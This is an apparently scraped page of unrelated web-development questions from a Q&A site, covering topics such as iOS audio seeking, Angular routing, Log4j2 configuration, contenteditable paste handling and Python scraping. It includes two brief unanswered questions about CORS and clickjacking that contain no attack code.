The audio portion being played should be a portion between the positions 500sec and 510sec. However, on iOS 11, the playback starts from a position a couple of seconds earlier than position 500sec and also finishes earlier than position 510sec.

On Android or Desktop browsers, the playback and seeking is OK.

Tested with Safari on iOS11: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0_1 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A402 Safari/604.1

Has anybody else encountered this issue?

Does anyone have a solution/workaround?

Thanks in advance.




Bind Record Only if Condition is From My Array Angular Js

I want to Bind Record Only those customer which are selected for perticular offer for Example I have two table CustomerMaster & OfferCustomer

I want to Bind Only record which are in Offer Customer I have All Customer in my Page I want to bind Only from the array {5,20,26,23,84,64} so condition which im expection something like

ng-if = array {5,20,26,23,84,64}

So the record will bind only above record..

Thanks In Advance




mercredi 27 septembre 2017

How should I build web app tool to assist in clearing cache faster during development?

Thank you for reading this and thank you even more for helping.

I'm fairly new to web development and I've noticed it's a two or three step process to clear cache. Now I know there might be similar apps in existence, but I thought this would be a good exercise for growth; I just have a few questions. Can this be done with Javascript or should I use Python? Is this a reasonable project for an amateur to take up? Are there any tips or tools of the trade a veteran might pass along to a green belt for creating such an app?

Again thank you for reading.




Project Idea: PHP

Good evening,

I'm initiating a Master's Degree in IT Engineering, on Multimedia and as you know it is required to develop a final project. Professionaly I work with PHP, MySQL, HTML5, Javascript etc etc.

But i'm out of ideas, if you could help me get an idea for a project i'd be very appreciated.

Thanks for your time.




Should I host or stream an 11Mb video background?

I created a video background for my website, and after compression, I got it down to 11Mb.

Would it be more optimal to host it on my server, or to upload it to YouTube and stream it? The website in question is #1 in the Google, and I don't want a big performance hit to hurt the SEO rank, so it's important I choose the right one.

This is for a photography website, so it's not going to be optimal if Google always heavily reduces the quality of the video.

Thank you.




Is there any web design distributor that I can buy web templates?

I am a developer and need lots of templates. Is there any web template distributor or seller that contains lots of templates? I can get web templates?

I know there are a lot of free templates on Internet but it is not enough for me..

Thanks in advance..




How to pass parameter between xhtml pages?

I have created a web development project using JSF2.X. My project has the following 2 pages and implements a form validation.

  1. index.xhtml : welcome page with login button option
  2. login.xhtml : login form validation page that connects to a database

index.xhtml redirects to the login page , when login button is clicked.

login.xhtml validates successfully whether a user belongs to the database or not.

I would like my index.xhtml to have a parameter holding if a user is logged in the site or not.

Is there any possible way to redirect back to the index.xhtml page from login.xhtml page , while passing a parameter about user's state ?

I would like to do it with plain html code if possible , but whatever works !




can somebody explain this JS code

myArray = [];
myArray.length;

myArray[1000000] = true;

myArray.length;

why does this return 100001? ive read this in douglas crockford book and i dont understand what this means




Copying and Pasting Text into a ContentEditable without formatting - JavaScript

I am making a code that allows me to copy the text from other places and paste in a content but keeping the blanks and breaking lines.

Here is my code:

// When I paste a text from another place
this.querySelector('*[contenteditable="true"]').addEventListener('paste', function(e){
    // Variables 
    var clipboardData, pastedData;
    // Stop data actually being pasted into div
    e.stopPropagation();
    e.preventDefault();
    // Get pasted data via clipboard API
    clipboardData = e.clipboardData || window.clipboardData;
    pastedData = clipboardData.getData('Text');
    // Change \n to <br>
    // I use this because then I will make another things with the <br> tags
    pastedData = pastedData.replace(/(?:\r\n|\r|\n)/g, '<br />');
    /*
        Here's a function that will get the character offset of the caret within the specified element; however, this is a naive implementation that will almost certainly have inconsistencies with line breaks, and makes no attempt to deal with text hidden via CSS (I suspect IE will correctly ignore such text while other browsers will not). To handle all this stuff properly would be tricky. I've now attempted it for my Rangy library.    
    */
    var caretOffset = 0;
    var doc = this.ownerDocument || this.document;
    var win = doc.defaultView || doc.parentWindow;
    var sel;
    if (typeof win.getSelection != "undefined") {
        sel = win.getSelection();
        if (sel.rangeCount > 0) {
            var range = win.getSelection().getRangeAt(0);
            var preCaretRange = range.cloneRange();
            preCaretRange.selectNodeContents(this);
            preCaretRange.setEnd(range.endContainer, range.endOffset);
            caretOffset = preCaretRange.toString().length;
        }
    } else if ( (sel = doc.selection) && sel.type != "Control") {
        var textRange = sel.createRange();
        var preCaretTextRange = doc.body.createTextRange();
        preCaretTextRange.moveToElementText(this);
        preCaretTextRange.setEndPoint("EndToEnd", textRange);
        caretOffset = preCaretTextRange.text.length;
    }
    // Set the text at the carret position
    this.innerHTML = [this.innerHTML.slice(0, caretOffset), pastedData, this.innerHTML.slice(caretOffset)].join('');                
        // Set the carret to the correct position
        var range = document.createRange();
            sel = window.getSelection();
        // Try to set the range
        try{
            range.setStart(this.firstChild, caretOffset + pastedData.length);
    } catch(err){}
    // Range options
    range.collapse(true);
    sel.removeAllRanges();
    sel.addRange(range);
});   

When I use it, It works fine but sometimes crash, these are its bugs:

1) When I paste a text from a .txt file and and I put the caret at the end of the copied text and I try to copy another time the same text, this second text is copied on the middle not on the end where the caret is.

2) When I have some text in the contenteditable and I select it with the cursor to replace it with another text, this second text doesn't replace the selected part, but it's pasted at the end of the text keeping now both texts.

3) If I'm writing a text and press enter to make a break line and in this point I paste a text, this will copy in the before line.

Any suggestion to solve some of this bugs?

Sorry for my poor english, I'm going to the University and I don't have much time to correct my syntax errors.




NodeJS - How do I access 'this' from a nested function in my object's constructor

I am trying to create a constructor for my Shelf class that sets its' shelfObjects instance variable to the results of a PostgreSQL query. The problem is that 'this' no longer refers to the instance of the class once we reach the callback function. How would I go about solving this problem in the right way?

class Shelf {

    constructor(displayNum, sideItemNum, callNum){
        this.displayNum = displayNum;
        this.sideItemNum = sideItemNum;
        this.callNumber = callNumber;

        var query = db.query("MY POSTGRESQL QUERY", function(err, result){
            this.shelfObjects = result.rows;
        });

    }
}




Which Mac laptop should I buy for web development?

I'm new here and looking forward to joining the community!

I was just wondering which Mac laptop I should buy for website development?

I am currently using a computer provided for me at work but after using a mac for a few days before the computer was provided I really like the way it felt, more professional and fitting for my job.

Any recommendations would be great, I don't have loads of money so please don't recommend the new ones that cost millions, just something that will last me a few years until I can buy one of the new ones.

Thanks




Why is circletype.js not working?

Can anyone help finding out what's wrong with this code ? It's not working.

I have checked it several times but can't seem to find out what's wrong! I have also made sure that the .js files are linked right.

This is my code:

<head>
<meta charset="utf-8" />
<title>Index</title>
 <script type="text/javascript" src="http://ift.tt/2n9t8Vj"></script>
<script src="jquery.lettering.js" ></script>
<script src="circletype.min.js" ></script>
<script src="modernizr-2.6.2-respond-1.1.0.min.js" ></script>
<style>
body {
    margin: 0;
    padding: 0;
    overflow: hidden;
    background: #000000;
    font-family: arial;
}
#text {
    position: absolute;
    top: 50%;
    left: 50%;
    transform: translate(-50%, -50%);
    font-size: 4em;
    color: blue;
    font-weight: bold;
}
</style>
</head>

<body>
<h2 id="text">This is the text</h2>
<script>
    $('#text').circleType({radius:384});
</script>
</body>
</html>




How exactly does the PHP's query function in work?

     $query = "UPDATE `accounts`
          SET `client`='$user_id';
           WHERE `AccountID` =$account_id";
     $result = $con->query($query);

"$result" yields false for some reason. Why?




Leaflet Control Search Several propertyName

I trying to maximize the search for the leaflet control search. So, I have a layerGroup "grupocartas" and I want to use different attributes to maximize the search. Let´s say that I have the attribute "title" only in scale10000 layer and I have the attribute "number" only in scale300000 layer. I wonder if it is possible to add more than one attribute to the propertyName to achieve my goal or if someone could help to figure out another way to do that. Find bellow my leaflet control search code:

var grupocartas = L.layerGroup([scale10000,scale300000]);

  var controlSearch = new L.Control.Search({
    position:'topleft',    // where do you want the search bar?
    propertyName: 'title',
    circleLocation: false,
    layer: grupocartas,  // name of the layer
    initial: false,
    zoom: 11,        // set zoom to found location when searched
    marker: false,
    textPlaceholder: 'search...' // placeholder while nothing is searched
  });

  map.addControl(controlSearch); // add it to the map
  controlSearch.on('search:collapsed', function(e) {
      map.setView([-12, -60], 4);
  })

I am looking for something like this propertyName: '[title,number]', so the search will occur in both GeoJson attributes.




Web Api not decoding escaped characters

My Web Api 2.0 API controller does not automatically decode escaped characters.

For Example:

    [Route("Search")]
    [HttpGet]
    public IHttpActionResult Search(string test)
    {
        var response = mediator.Send(test);
        return Ok(response.Result);
    }

When I send blabla/api/search?test="%20" to my web api the paramater test returns "%20". But normally it should give " " (a space).

The same situation when I'm working with [FromUri]

Does anyone have an idea?

Thanks in advance!




HTML site navigation without loading

I've found a really interesting effect on a site recently and wondering how to replicate. The site in question is http://ift.tt/1hqMfY0.

When you navigate around the site the meta tags and URL change but there is never any page loading, does anybody know how to replicate this?

The easiest way I can think of would be to create a single page application, but I wasn't aware it was possible to create a single page app that gave the impression of being multi page (meta tags changing etc.)

Thanks in advance, James




Phoenix web framework and Elixir

I am new to Phoenix web framework and Elixir. I am looking for the best way to install and work with Phoenix web framework and Elixir on Windows. For example, I am looking for things such as what the best database to use within this framework and also what the best IDE to use.




Webpage that imports data, process data with a script and exports data visualisation as pdf or docx

I'm currently working on a webpage where I want to have an application that can through an import button import a csv-file. Then behind the scenes I want to process the data, e.g. using a Python script, and through that get some data visualizations. These data visualizations should be displayed on the webpage combined with a text field, where the user can enter the interpretation of the data visualizations. Finally, the user should be able to export the data visualizations combined with his/her interpretation in a report as a pdf- og docx-file.

Currently, I'm using the Python web framework, Django, since it is based on Python and might co-operate better with Python scripts. However, I'm still a bit unsure if this framework is able to do what I want. Does any of you have any experience with importing csv-files, generating data visualizations and exporting pdf's or docx's in Django or would you recommend another framework maybe based on another language?

Looking forward to get some feedback plus validation or invalidation of my first steps towards my goal!




Page including web fonts won't print except from Chrome

The html page can be printed from all browsers when the web fonts are deactivated in the print style sheet. When the web fonts are used and with Internet Explorer and Firefox browsers, the print job is sent to the printer, but not printed. In case of one printer the windows progress information stopped that 2.6 of 5 MB transferred, in case of another printer the printer status said document ist being printed, but nothing happened, following print jobs were stuck. I have tried with different Canon printers in the office. The font in question is Google's Roboto.

Has anyone experienced similar problems?




Log4j2 configuration for multiply instance web applications

I have some problem with log4j2 configuration for war application on Wildfly 10.1 application server. I have the following log4j2.xml file (located in WEB-INF directory) :

<?xml version="1.0" encoding="UTF-8"?>
<Configuration status="DEBUG">
<Properties>
    <Property name="logDir">${sys:jboss.server.log.dir}</Property>
</Properties>
<Appenders>
    <Console name="Console" target="SYSTEM_OUT">
        <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n" />
    </Console>
    <RollingRandomAccessFile 
            name="FileLogger" 
            fileName="${logDir}/${sys:loggerFileName}.log" 
            filePattern="${logDir}/$${date:yyyy-MM}/${sys:loggerFileName}-%d{yyyy-MM-dd}-%i.log.zip">

        <PatternLayout pattern="%d{HH:mm:ss,SSS} %-5level [%t]  %logger{36} - %msg%n"/>
        <Policies>
            <OnStartupTriggeringPolicy />
            <TimeBasedTriggeringPolicy />
            <SizeBasedTriggeringPolicy size="128MB" />
        </Policies>
        <DefaultRolloverStrategy>
            <Delete basePath="${logDir}" maxDepth="2">
                <IfFileName glob="*/${sys:loggerFileName}-*.log.zip" />
                <IfLastModified age="30d" />
            </Delete>
        </DefaultRolloverStrategy>
    </RollingRandomAccessFile>
</Appenders>
<Loggers>
    <Root level="trace">
        <AppenderRef ref="FileLogger"/>
    </Root>
</Loggers>

I want to deploy several instance of this application on Wildfly. Each will have own deployement name and runtime name like it shown in screenshots below enter image description here enter image description here

When the application is deployed I replace value for "loggerFileName" property like this:

@WebListener
public class ServletContextInitializer implements ServletContextListener {

@Override
public void contextInitialized(ServletContextEvent contextEvent) {
    String loggerFileName = getLoggerFileNameForContext(servletContext);
    System.setProperty("loggerFileName", loggerFileName);
    LoggerContext ctx = (LoggerContext) LogManager.getContext(false);
    ctx.reconfigure();      
}

@Override
public void contextDestroyed(ServletContextEvent contextEvent) {
}

 private String getLoggerFileNameForContext(ServletContext servletContext) {
    String contextPath = servletContext.getContextPath();
    return removeNonAlphaNumericCharsFromString(contextPath);
}

private String removeNonAlphaNumericCharsFromString(String input) {
    return input.replaceAll("[^A-Za-z0-9 ]", "");
}

}

If applications are deployed one after another the log files are created correctly. But when I stop Wildfly then delete logs and next I launch Wildfly in some cases the log file is not created at all for one of the instances.

Can someone suggest me what can be wrong? Is System.setProperty() is shared by all instances of applications or not.

Thanks in advance for help.




Update a website, when someone clicks a button

The plan that everyone on the website, should only be about 4 or 5 at a time, has a card. When any player clicks on their card it flips it over not just on their screen but on everyone else's screen too. I've got an animation of the card turning over that I'd want everyone to see, so hopefully this can be done without refreshing.

This needs to be a web app, but other than that what language would I use to achieve this and what method would I use




how does a test client work

maybe this question is not relevant here. let me know.

I'm trying to find out how exactly a test_client (my case, is a Flask test_client) in general works

I traced back to the werkzeug.test.Client description (for my case, specifically)

"This class allows to send requests to a wrapped application."

But what happens under the hood? the application doesn't really run a port?




Exploit Cross origin resource sharing?

This is my first question in stackoverflow.

I am not asking the full process to exploit CORS because its gonna be a very long., BUT, i want to know,

 How exploit when the response has only **ACCESS CONTROL ALLOW ORIGIN with * header?** 

-Without this header **ACCESS CONTROL ALLOW CREDNTIALS: true**. 

Hope you got my point?

Thanks




Is it OK to have one register API for mobile and web app in web API ?

I want to know when i'm writing a web API to make service for mobile and angular 2 clients , should i write one register api for both of them(mobile and angular 2) ? or i should write for each one separately. thanks




Playing Flash content in web browser in android

I have a flash content to be played with the help of html pages, while i am loading the content from server in Inapp browser of application this is saying as "The Content requires Adobe Flash Player, which is not supported by your device. The content can be viewed on a desktop or on mobile devices that support flash player". Though I have installed android flash player but still the same is message is displayed. Please suggest any way to play the flash content in application or on browser.




How can someone extract data of any site through Clickjacking

I wanted to ask that if there is no ClickJacking protection placed on certain page for example : accounts.php will someone still be able to extract some of detail from the source ?

If yes, How?

Thanks in advance




java rest web service by post method

I am trying to do a java rest web service using "POST" method.But i am unable to access the passed parameter. Here is my client part to invoke the web service.

    public static void main(String[] args) {

        try {

            Client client = Client.create();

            WebResource webResource = client.resource("http://localhost:8080/wsRevDash/rest/post/testing");


            Form form=new Form();

            form.add("sc","pqr");



            ClientResponse response = webResource.type("application/json")
               .post(ClientResponse.class,form);

            if (response.getStatus() != 201) {
                throw new RuntimeException("Failed : HTTP error code : "
                     + response.getStatus());
            }

            System.out.println("Output from Server .... \n");
            String output = response.getEntity(String.class);
            System.out.println(output);

          } catch (Exception e) {

            e.printStackTrace();

          }

        }

And here is my java rest web service.

    @POST
    @Path("testing")
    @Consumes(MediaType.APPLICATION_JSON)
    @Produces(MediaType.APPLICATION_JSON)
    public String createDataInJSON(@FormParam("sc") String data) { 

        System.out.println("Hello"+data);
        JSONObject jObjDevice = new JSONObject();


        jObjDevice.put("Hello",data); 
        return jObjDevice.toJSONString();

    }

When i run on SoapUI,I am getting {"Hello":null}. Please suggest me some way to cope with this.




mardi 26 septembre 2017

how can i check for an element is present in the page using golang knq/chromedp

i am creating an app to using [chromedb][1]

how can i check for an element is present in the page ?

i tried to use cdp.WaitVisible() but it didn't give me what i wanted

i need this so i can make dictions if the application will do one thing or the other

at this example , suppose i need to know if the search input is present or not

how can i do that ?

[1]: http://ift.tt/2j0QEGv

  package main

import (
    "context"
    "fmt"
    "io/ioutil"
    "log"
    "time"

    cdp "http://ift.tt/2jtQ7f4"
    cdptypes "http://ift.tt/2w8Hxa9"
)

func main() {
    var err error

    // create context
    ctxt, cancel := context.WithCancel(context.Background())
    defer cancel()

    // create chrome instance
    c, err := cdp.New(ctxt, cdp.WithLog(log.Printf))
    if err != nil {
        log.Fatal(err)
    }

    // run task list
    var site, res string
    err = c.Run(ctxt, googleSearch("site:brank.as", "Easy Money Management", &site, &res))
    if err != nil {
        log.Fatal(err)
    }

    // shutdown chrome
    err = c.Shutdown(ctxt)
    if err != nil {
        log.Fatal(err)
    }

    // wait for chrome to finish
    err = c.Wait()
    if err != nil {
        log.Fatal(err)
    }

    log.Printf("saved screenshot of #testimonials from search result listing `%s` (%s)", res, site)
}

func googleSearch(q, text string, site, res *string) cdp.Tasks {
    var buf []byte
    sel := fmt.Sprintf(`//a[text()[contains(., '%s')]]`, text)
    return cdp.Tasks{
        cdp.Navigate(`https://www.google.com`),
        cdp.Sleep(2 * time.Second),
        cdp.WaitVisible(`#hplogo`, cdp.ByID),
        cdp.SendKeys(`#lst-ib`, q+"\n", cdp.ByID),
        cdp.WaitVisible(`#res`, cdp.ByID),
        cdp.Text(sel, res),
        cdp.Click(sel),
        cdp.Sleep(2 * time.Second),
        cdp.WaitVisible(`#footer`, cdp.ByQuery),
        cdp.WaitNotVisible(`div.v-middle > div.la-ball-clip-rotate`, cdp.ByQuery),
        cdp.Location(site),
        cdp.Screenshot(`#testimonials`, &buf, cdp.ByID),
        cdp.ActionFunc(func(context.Context, cdptypes.Handler) error {
            return ioutil.WriteFile("testimonials.png", buf, 0644)
        }),
    }
}




cant publish my boostrap page on github page

I published my website on Github page. for the second time. But error appears which I don't understand. I used bootstrap for my page, here is the error

"Your site is having problems building: A file was included in bootstrap-3.3.7/docs/components.html that is a symlink or does not exist in your _includes directory. For more information, see http://ift.tt/2qsY3l2."




Call a web service with credentials from Excel 2016?

I need to call a SOAP web service from Excel 2016. The WS requires credentials. Can anyone suggest a way to do this? Thanks.




How to allow for file download (pdf) on react front and node back website

I am making a website for a medical practice and they would like for the new patient files to be a pdf file that can be downloaded.

I have found a few answers but nothing really explains how to explicitly make a download pdf file button on the website with a front end framework like react. I would greatly appreciate as much detail as possible as I am still new to this.




Songkick's Code doesn't work

I need desperately your help:

I´m building a web page for my new music band, and we want to add the code that Songkick provides us so that we can visualize our future concert's. I'm trying to add the code to our page, but nothing loads up in the screen. This is the code provided by Songkick:

<a href="http://ift.tt/2foGsn4" class="songkick-widget" 
data-theme="dark" data-detect-style="true" data-font-color="#E58B9F">Billie 
Balloon tour dates</a>
<script src="//widget.songkick.com/widget.js"></script>

Can anybody help my please? Thank You ;)




Link the database to another page and modify the data that is displayed

I just need to link the lname, mname, fname $output to another page which is from the database and will let me modify from the page and updated to the database: $output .= " <a href=edit.php?id=".$id."> Edit </a><br /> Last Name: ".$lname."<br />First Name: ".$fname."<br />Middle Name: ".$mname."<br /><br />";

        // This part links to the data that is being search so i Need this to link to another page and view it to another page and will let me modify



 $output .=  " <a href=edit.php?id=".$id."> Edit </a><br /> Last Name: ".$lname."<br />First Name: ".$fname."<br />Middle Name: ".$mname."<br /><br />";




html code running awkwardly in the brower

hello guys i'm trying to run some html codes in my browser but they keep coming up strange. Please help me. I have crosschecked the code well and sometimes, it comes up fine...but most times, its like this.it comes up on the browser as below

enter image description here




router outlet stacks components instead of replacing them

i am having some trouble with a router outlet inside a component. I have a sidenav with diferent routerlinks and when clicked the routeroutlet displays the component that's supposed to, but wont remove the previous one, just stacks them on top of each other.

enter image description here

RouterModule.forRoot([
      {
        path: 'admLocaciones',
        component: AdmLocacionesComponent
      },
      {
        path: '',
        redirectTo: '/inicio',
        pathMatch: 'full'
      },
      {
        path: 'inicio',
        component: InicioComponent
      },
      {
        path: 'buscarLocacion/:id',
        component: BuscarLocacionComponent
      },
      {
        path: 'editarLocacion/:id',
        component: EditarLocacionComponent
      },
      {
        path: 'nuevaLocacion',
        component: NuevaLocacionComponent
      },
      {
        path: 'admRegiones',
        component: AdmRegionesComponent
      },
      {
        path: 'locacion/:id',
        component: LocacionComponent
      },
      {
        path: 'tableroTanque',
        component: TableroTanqueComponent
      },
      {
        path: 'tanque/:id',
        component: TanqueComponent,
        children: [
          {
            path: '',
            redirectTo: 'informacion-general',
            pathMatch: 'full'
          },
          {
            path: 'informacion-general',
            component: TanqueInfoGeneralComponent
          },
          {
            path: 'datos-tecnicos',
            component: TanqueDatosTecnicosComponent
          },
          {
            path: 'lavado',
            component: TanqueLavadoComponent
          },
          {
            path: 'revestimiento',
            component: TanqueRevesimientoComponent
          },
          {
              path: 'inspecciones',
              component: TanqueInspeccionesComponent
          },
          {
              path: 'reparaciones-modificaciones',
              component: TanqueReparacionesModificacionesComponent
          },
          {
            path: 'auditoria',
            component: TanqueAuditoriaComponent
          },
          {
            path: 'puesta-a-tierra',
            component: PuestaTierraComponent
          }
        ]
      }
    ])
  ],
.list-container {
  padding-top: 66px;
  background: #0D47A1;
  min-height: 100vh;
  width: 15%;
  position: fixed;
}

.list-container li {
  padding: 20px 10px;
}

.content-container {
  padding: 66px 20px;
  width: 85%;
  margin-left: 15%;
}
<div class="list-container col s4 left">
  <ul>
    <li class="lc-t-link link" [routerLink]="['informacion-general']">Informacion General</li>
    <li class="lc-t-link link" [routerLink]="['datos-tecnicos']">Datos tecnicos</li>
    <li class="lc-t-link link" [routerLink]="['lavado']">Lavado del tanque</li>
    <li class="lc-t-link link" [routerLink]="['revestimiento']">Revestimiento</li>
    <li class="lc-t-link link" [routerLink]="['inspecciones']">Inspecciones</li>
    <li class="lc-t-link link" [routerLink]="['reparaciones-modificaciones']">Reparaciones y modificaciones</li>
    <li class="lc-t-link link" [routerLink]="['auditoria']">Auditoría 785/266</li>
    <li class="lc-t-link link" [routerLink]="['puesta-a-tierra']">Control de puesta a tierra</li>
    <li class="lc-t-link link">Instrumentación y control</li>
  </ul>
</div>

<div class="content-container col s8 left">
  <router-outlet></router-outlet>
</div>

If you need any more information just ask for it. Thanks for your help.




Cache for Dynamic files, ETag vs no-storage

Why do anyone would prefer the no-storage approach? I mean, in which case are better this from using ETags apart from the fact that ETags doesn't work offline?




Why am I getting a null value from the Post method on a Web API Controller using Postman? [on hold]

I'm trying to using Postman to make a post request to a web api method below. WEB API METHOD

Below is how I'm trying to make a post request using the Postman. Postman post request

Why am I getting the null value from the parameter [FromBody]string value? enter image description here




Unexpected angular routing issue

In my local machine when I am in some route other than home page then after refreshing the page I remain in the same view but after deploying my app to apache this is not working as expected. When I am in some other route and I refresh the page then the route changes to my home route and I am redirected to my application's main page.

What could be wrong?




reopen spamhaus blocked domain

I have a domain name which is listed in spamhous dbl.

I tried to contact them with removal page but they send me an email and prefer to retain my domain the list.

Is there anyway to open my domain again, they grab it totally.




why is remove() not working

I have search solutions but still I cant delete the data in my database. This is my code.

  if (e.target.classList.contains('delete')) {
  idd.value =  feedbackNode.querySelector('.feedback_id').innerText;
  vfeedbacksref.orderByKey().once("value").then(function(snapshot) {
     snapshot.forEach(function(childSnapshot) {
      childSnapshot.forEach(function(data) {  

    if(idd.value == data.key){
      console.log(data.key);[![enter image description here][1]][1]
    vfeedbacksref.child(data.key).remove();

  }
}




Is it wise use Node.js on backend with a webrtc app?

I believe that Node.js is quite cpu intensive and this added together with webrtc another cpu intensive tech, makes me wonder if the two together would negatively impact performance. One to one connections maybe not a problem but lets say you have 10/20 people connected surely that will cause issues? Would there be scalability issues? What backend language would you recommend in its place? Or would Node.js be ok.

Thanks




Python web scraping on div class="ng-scope"

I am new into python and I try to get some song names from my favorite radio station website but whatever I do, I can not get into div ui-view="main.header" class="ng-scope" to get de songs names.

With my code i can read from txt just the first level of divs but not deeper:

<div id="audio-player" style="width: 0px; height: 0px"></div>
<div id="fb-root"></div>
<div ui-view="main.header"></div>
<div ui-view="main.content"></div>
<div ui-view="main.footer"></div>

The song list has a refresh rate of 10s, is that area blocked for scraping because of that? I have tried also with div1 = soup.findAll(div), with no succes.

You can see the full web site code at www.rockfm.ro

Code for parsing:

<head></head>
<body ng-class="bodyClass">
    <script src="https://www.youtube.com/iframe_api" data-remove="false"></script>
    <script src="http://ift.tt/om8mte" data-remove="false"></script>
    <script src="http://ift.tt/2hugToZ" data-remove="false"></script>
    <script data-remove="false">
    <script data-remove="false">
    <div id="audio-player" style="width: 0px; height: 0px">
    <div id="fb-root" class=" fb_reset">
    <!-- uiView: main.header -->
    <div ui-view="main.header" class="ng-scope">
        <div id="topnav" ng-controller="HeaderCtrl" class="ng-scope"><
            <div class="container top-stripe">
                </div>
            <div class="container menu-expand" ng-class="{'show-expand':isMenuOpen}">
                <div class="col-md-3">
                <div class="col-md-6">
                <div class="col-md-3 menu-expand-latest-tracks">
                    <div class="latest-tracks ng-isolate-scope" track-list="trackList.lista">
                        <h4>Ultimele 10 piese</h4>
                            <ul>
                                <!-- ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">Steve Stevens - Top Gun Anthem</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">Boston - More Than A Feeling</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">Rammstein - Mein Hertz Brennt</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">Inxs - Never Tear Us Apart</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">Nirvana - Smells Like Teen Spirit</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">Rockfm - Stiri</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">Phoenix - Nunta</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">Survivor - Burning Heart</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">Holograf - Banii Vorbesc</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                                <li ng-repeat="track in trackList.lista" class="ng-binding ng-scope">It Rocks</li>
                                <!-- end ngRepeat: track in trackList.lista -->
                            </ul>
                        </div>
                    </div>
                </div>
            </div>
        </div>
    </div>
</body>

This is my code:

import urllib
from BeautifulSoup import *

url = "www.rockfm.ro"
html = urllib.urlopen('http://www.rockfm.ro').read()

soup = BeautifulSoup(html)

div1 = soup.findAll(True)

#code to get into divs` classes

for div2 in div1:
    print("Level 1: "+ str(div2))
    with open('rock.txt', 'a') as file:
        file.write("Level 1: " + str(div2) + "\n")
    div3 = div2.findAll(True)

    for div4 in div3:
        print ("Level 2: "+ str(div4))
        with open('rock.txt', 'a') as file:
            file.write("Level 2: " + str(div4) + "\n")
        div5 = div4.findAll(True)

        for div6 in div5:
            print ("Level 3:" + str(div6))
            with open('rock.txt', 'a') as file:
                file.write("Level 3: " + str(div6) + "\n")
            div7 = div6.findAll(True)

            for div8 in div7:
                print ("Level 4:" + str(div8))
                with open('rock.txt', 'a') as file:
                    file.write("Level 3: " + str(div8) + "\n")
                div9 = div8.findAll(True)

                for div10 in div9:
                    print ("Level 4:" + str(div10))
                    with open('rock.txt', 'a') as file:
                        file.write("Level 4: " + str(div10) + "\n")

Thank you very much in advance!




Get Direction Vector for entity in A-Frame

I have a box in my A-Frame scene that I want to control with the keyboard. I want W,S and arrow Up/Down to control forward and backwards movement, and I want the A,D, and arrow Left/Right to rotate the box left or right.

I have managed to get the box to move back and forward and to get the box to rotate. The problem is that when the box has rotated, I want to be able to press the forward/backwards keys to move it in it's new direction, but right now it still moves back and forward in the original direction.

My html

 <a-entity id="rover" geometry="primitive: box" material="color: yellow" position="0 1 -3">  

JS:

var up = false,
    right = false,
    down = false,
    left = false;

document.addEventListener('keydown',press)
function press(e){
  if (e.keyCode === 38 /* up */ || e.keyCode === 87 /* w */ || e.keyCode === 90 /* z */){
    up = true
  }
  if (e.keyCode === 39 /* right */ || e.keyCode === 68 /* d */){
    right = true
  }
  if (e.keyCode === 40 /* down */ || e.keyCode === 83 /* s */){
    down = true
  }
  if (e.keyCode === 37 /* left */ || e.keyCode === 65 /* a */ || e.keyCode === 81 /* q */){
    left = true
  }
}


document.addEventListener('keyup',release)
function release(e){
  if (e.keyCode === 38 /* up */ || e.keyCode === 87 /* w */ || e.keyCode === 90 /* z */){
    up = false
  }
  if (e.keyCode === 39 /* right */ || e.keyCode === 68 /* d */){
    right = false
  }
  if (e.keyCode === 40 /* down */ || e.keyCode === 83 /* s */){
    down = false
  }
  if (e.keyCode === 37 /* left */ || e.keyCode === 65 /* a */ || e.keyCode === 81 /* q */){
    left = false
  }
}


function gameLoop(){
  var rover = document.getElementById('rover');
    var currentPosition = rover.getAttribute('position');
    var currentRotation = rover.getAttribute('rotation');


    var direction = new THREE.Vector3(0, currentRotation.y, currentPosition.z);


  if (up){
  rover.setAttribute("position", {x: 0, y: 1, z: (currentPosition.z - 0.1)});
  }
  if(down){
       rover.setAttribute("position", {x: 0, y: 1, z: (currentPosition.z + 0.1)});
  }
  if(left){
       rover.setAttribute("rotation", {x: 0, y: (currentRotation.y + 1), z: 0});
  }
  if(right){
      rover.setAttribute("rotation", {x: 0, y: (currentRotation.y - 1), z:  0});
  }



requestAnimationFrame(gameLoop)
}
 requestAnimationFrame(gameLoop)

I'm trying to get a Direction Vector and use it somehow, but I'm quite stuck at the moment. Any help would be appreciated.




WordPress and .Net C# development

I have a good depth in c# development. Recently I have got a project to do Vehicle sales website and I was told I better try WordPress since its the growing web application development platform. Sadly I am not good in PHP development.

Is there a way I can do some custom WordPress development using c# like searching for vehicles, viewing vehicle details etc.

Please let me know.




how to stop keydown function after click a button

i have js code when i press key 38, 40 13 those function works respectively. but what i want to do is ,when i click this button keydown function block will be disable, and when i hover this button this keydown function block will be enable.

$(document).keydown(function(e){
if (e.keyCode == 38) { 
   verticalSlideDown();
   //console.log("pressed key for Down : "+e.keyCode);
}
if (e.keyCode == 40) { 
   verticalSlideUp();
   //console.log("pressed key for Up: "+e.keyCode);
}
if (e.keyCode === 13) {
    var div= $(".scroll-inner-container");
    //console.log("pressed key for stop : "+e.keyCode);
   div.stop();
}
});

this is my html button:

<button class="keyboard-btn">click here</button>




How can I make my Angular web app with a unique name appear on Google's first result page when searching for the name of my site?

I have a new site campuslaunch.org (still in development, so do not wonder if you encounter bugs). The website is an Angular app.

